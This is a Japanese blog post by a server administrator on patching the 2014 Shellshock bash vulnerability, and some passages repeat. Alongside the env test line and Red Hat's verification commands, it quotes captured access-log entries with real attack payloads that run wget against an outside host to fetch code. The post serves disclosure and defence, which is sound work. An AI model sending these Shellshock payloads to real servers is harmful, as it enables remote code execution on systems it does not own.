これは凄い!
GNU Bash に OS コマンドインジェクションの脆弱性
bash の脆弱性対策について(CVE-2014-6271 等)
たぶんある程度しっかり作られたアプリケーションのサイトや、
最新のパッケージを使っている環境ではあまりこの影響の脆弱性をうけるサイトは少ないのかなという印象です。
私が管理しているサイトでは脆弱性の再現は1サイトしかありませんでした。
テストは簡単に、ChromeやFireFoxのユーザーエージェントを指定できるプラグインで、
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
そしてApacheのエラーログには親切に下記ログも
他にはmailコマンドを実行させられたり、「/tmp」領域にファイルを配置されたり。
今回はユーザーエージェントにコードをセットされていたから分かりやすかったですが、
Cookieや他にログに残らないようなアクセスだと、なかなか検知は難しかったかもしれないですね。
実際どこに実行箇所があったかというと、HTML内に記述していた
<!--#exec cgi="~" -->
とはいえ、変数が空になって後で上手く動いていないことが分かるのはやなので、
私の場合は再起動しました。
アップデート後はそれぞれの脆弱性が修正されている事を確認。
CVE-2014-6271
今回の脆弱性はサイト上に問題が無くても、対象であればアップデートしたほうがいいでしょう。
今回の対応で面倒だったのは「もしも」の場合に備えて今のバージョンと同じパッケージを探しておくことでした。
OS6系ならまだまだ大丈夫ですが、5系はもう古いのはないですからね。
当時のメディアがあってよかった。
GNU Bash に OS コマンドインジェクションの脆弱性
bash の脆弱性対策について(CVE-2014-6271 等)
GNU Bash には、環境変数にシェル関数定義を設定して他のシェルプロセスに渡す機能と、環境変数で設定されたシェル関数定義を取り込む機能が存在します。関数定義に続きシェルコマンドが記述されている形で環境変数が設定されているとき、GNU Bash は関数定義を取り込む際にそのシェルコマンドを実行してしまいます
たぶんある程度しっかり作られたアプリケーションのサイトや、
最新のパッケージを使っている環境ではあまりこの影響の脆弱性をうけるサイトは少ないのかなという印象です。
私が管理しているサイトでは脆弱性の再現は1サイトしかありませんでした。
テストは簡単に、ChromeやFireFoxのユーザーエージェントを指定できるプラグインで、
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
のような値を設定してサイトを回遊ました。
ちなみに、実際に攻撃が成功してしまった環境はちょっと古いOS 5系の環境。
- Cent OS 5
- Apache 2.2 標準RPM
- PHP 5.3 ソースインストール
実際にきていた攻撃は下記のようなアクセス。
62.210.75.170 - - [30/Sep/2014:07:42:45 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1281928実際に攻撃が成功すると、下記のようなメッセージがsyslogに出力されました。
62.210.75.170 - - [30/Sep/2014:07:42:52 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1232626
62.210.75.170 - - [30/Sep/2014:07:42:59 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1227358
62.210.75.170 - - [30/Sep/2014:07:43:01 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1247845
Sep 30 07:42:23 GSA040014009 kernel: sh[26924]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff1f9b5610 error 4メモリのセグメンテーションエラーね。
Sep 30 07:42:23 GSA040014009 kernel: sh[26926]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff3edfcdb0 error 4
Sep 30 07:42:26 GSA040014009 kernel: sh[26928]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff3f09fb50 error 4
Sep 30 07:42:26 GSA040014009 kernel: sh[26930]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff22324de0 error 4
Sep 30 07:42:27 GSA040014009 kernel: sh[26932]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff880e3000 error 4
そしてApacheのエラーログには親切に下記ログも
/bin/sh: wget: No such file or directory見事動作させられてますね、ありがとうございます。
/bin/sh: wget: No such file or directory
/bin/sh: wget: No such file or directory
--2014-09-30 07:42:38-- http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA==
Resolving creditstat.ru... 78.46.37.177
Connecting to creditstat.ru|78.46.37.177|:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2014-09-30 07:42:38 ERROR 404: Not Found.
他にはmailコマンドを実行させられたり、「/tmp」領域にファイルを配置されたり。
今回はユーザーエージェントにコードをセットされていたから分かりやすかったですが、
Cookieや他にログに残らないようなアクセスだと、なかなか検知は難しかったかもしれないですね。
実際どこに実行箇所があったかというと、HTML内に記述していた
<!--#exec cgi="~" -->
上記部分でした。
Apacheで"IncludeNOEXEC"していれば防げていたかもしれませんが・・・
対応策はBashのアップデートを上げるしか基本的には無いので、もちろんアップデート。
アップデートした場合、OSの再起動が必要なのか、いらいないとか。
ここはRedhatの情報に従って確認していきましょう。
特殊な細工がされた環境変数による Bash コードインジェクションの脆弱性 (CVE-2014-6271、CVE-2014-7169)
Bash変数を設定して起動しているサービスが無いか確認。
Apacheで"IncludeNOEXEC"していれば防げていたかもしれませんが・・・
対応策はBashのアップデートを上げるしか基本的には無いので、もちろんアップデート。
アップデートした場合、OSの再起動が必要なのか、いらいないとか。
ここはRedhatの情報に従って確認していきましょう。
特殊な細工がされた環境変数による Bash コードインジェクションの脆弱性 (CVE-2014-6271、CVE-2014-7169)
Bash変数を設定して起動しているサービスが無いか確認。
エクスポートされた Bash 機能を使用している場合は、影響を受けるサービスを再起動することが推奨されます。影響を受けるインタラクティブなユーザーが再ログインしたり、画面または tmux セッションを再起動したりする必要があるかもしれません。
これらの問題を修正するために提供された Bash アップデートは、この環境でエクスポートされた関数の名前を変更します。古いバージョンの Bash が関数をエクスポートしている場合、その関数はアップデート後に新しく起動した Bash プロセスでは認識されないため、定義されていない状態になります。サービスを再起動すると、新しいバージョンの Bashは、期待した名前で関数をエクスポートするため、再度表示されます。
# grep -l -z '[^)]=() {' /proc/[1-9]*/environ | cut -d/ -f3
とはいえ、変数が空になって後で上手く動いていないことが分かるのはやなので、
私の場合は再起動しました。
アップデート後はそれぞれの脆弱性が修正されている事を確認。
CVE-2014-6271
# env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"RHSA-2014:1306、RHSA-2014:1311 および RHSA-2014:1312
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
bash: error importing function definition for `BASH_FUNC_x()'
test
# env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"CVE-2014-7169
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `BASH_FUNC_x'
test
# cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo以上で対応自体は完了。アップデートするだけの簡単な作業ですね。
date
cat:/tmp/echo:No such file or directory
今回の脆弱性はサイト上に問題が無くても、対象であればアップデートしたほうがいいでしょう。
今回の対応で面倒だったのは「もしも」の場合に備えて今のバージョンと同じパッケージを探しておくことでした。
OS6系ならまだまだ大丈夫ですが、5系はもう古いのはないですからね。
当時のメディアがあってよかった。
Cameron Newham Bill Rosenblatt
オライリージャパン
売り上げランキング: 369,620
オライリージャパン
売り上げランキング: 369,620